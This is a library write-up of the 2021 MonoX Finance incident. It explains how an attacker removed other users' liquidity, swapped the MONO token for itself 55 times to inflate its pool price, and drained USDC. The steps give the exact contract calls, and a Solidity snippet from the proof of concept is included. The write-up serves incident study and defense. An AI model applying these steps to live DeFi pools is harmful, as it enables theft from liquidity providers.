# MonoX Finance: price manipulation via self-swap drains pool

MonoX pool price manipulation via self-swap of MONO token 55 times inflated MONO price, draining USDC from the pool.

- Payout: Real-world hack
- Severity: critical
- Program: MonoX Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2021-11-30
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-11/Mono_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20211130-mono
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:business-logic vuln:oracle-manipulation

**Target:** Monoswap liquidity pool and MonoXPool
**Root cause:** The Monoswap pool's price calculation for MONO token could be manipulated by swapping MONO for MONO, repeatedly inflating the token's virtual price without external market forces.
**Steps:**
1. Approve Monoswap to spend MONO tokens.
2. Deposit ETH to get WETH, then swap 0.1 WETH for MONO via `monoswap.swapExactTokenForToken(WETH9_Address, Mono_Token_Address, 0.1 ether, 1, address(this), block.timestamp)`.
3. Remove liquidity from three innocent users by calling `monoswap.removeLiquidity(Mono_Token_Address, balance_Of_UserX, Innocent_user_X, 0, 1)` for each.
4. Add liquidity for yourself: `monoswap.addLiquidity(Mono_Token_Address, 196_875_656, address(this))`.
5. Loop 55 times: read pool MONO amount via `monoswap.pools(Mono_Token_Address)`, then swap `Amount_Of_MonoToken_On_XPool - 1` MONO for MONO using `monoswap.swapExactTokenForToken(Mono_Token_Address, Mono_Token_Address, amount, 0, address(this), block.timestamp)`.
6. Swap all MONO for USDC: `monoswap.swapTokenForExactToken(Mono_Token_Address, USDC_Address, Amoount_Of_Mono_On_This, 4_000_000_000_000, msg.sender, block.timestamp)`.
**How found:** Likely identified that Monoswap's price oracle for MONO could be manipulated by trading a token against itself, as the pool's invariant did not prevent self-swaps from altering price.
**Exploitation:** Attacker flash-loaned or used own WETH to acquire MONO, removed liquidity from other users to concentrate pool, added liquidity, then performed 55 self-swaps of MONO to inflate its price within the pool, finally swapping inflated MONO for USDC, draining ~$31M.
**Escalation:** Repeated self-swaps amplified price impact; removing other users' liquidity increased attacker's share of pool, maximizing profit.
**Insight:** Check if a DEX allows swapping a token for itself; such self-swaps can be used to manipulate internal price accumulators without external arbitrage, especially if the pool uses a simple constant-product formula and lacks a time-weighted average price.

## Proof of concept (copied exactly from the original report)

**Remove liquidity from three innocent users**

```
function RemoveLiquidity_From_3_Users() internal {
        uint256 balance_Of_User1 = monopool.balanceOf(Innocent_user_1, 10);

        monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User1, Innocent_user_1, 0, 1);

        uint256 balance_Of_User2 = monopool.balanceOf(Innocent_user_2, 10);

        monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User2, Innocent_user_2, 0, 1);

        uint256 balance_Of_User3 = monopool.balanceOf(Innocent_user_3, 10);

        monoswap.removeLiquidity(Mono_Token_Address, balance_Of_User3, Innocent_user_3, 0, 1);
    }
```

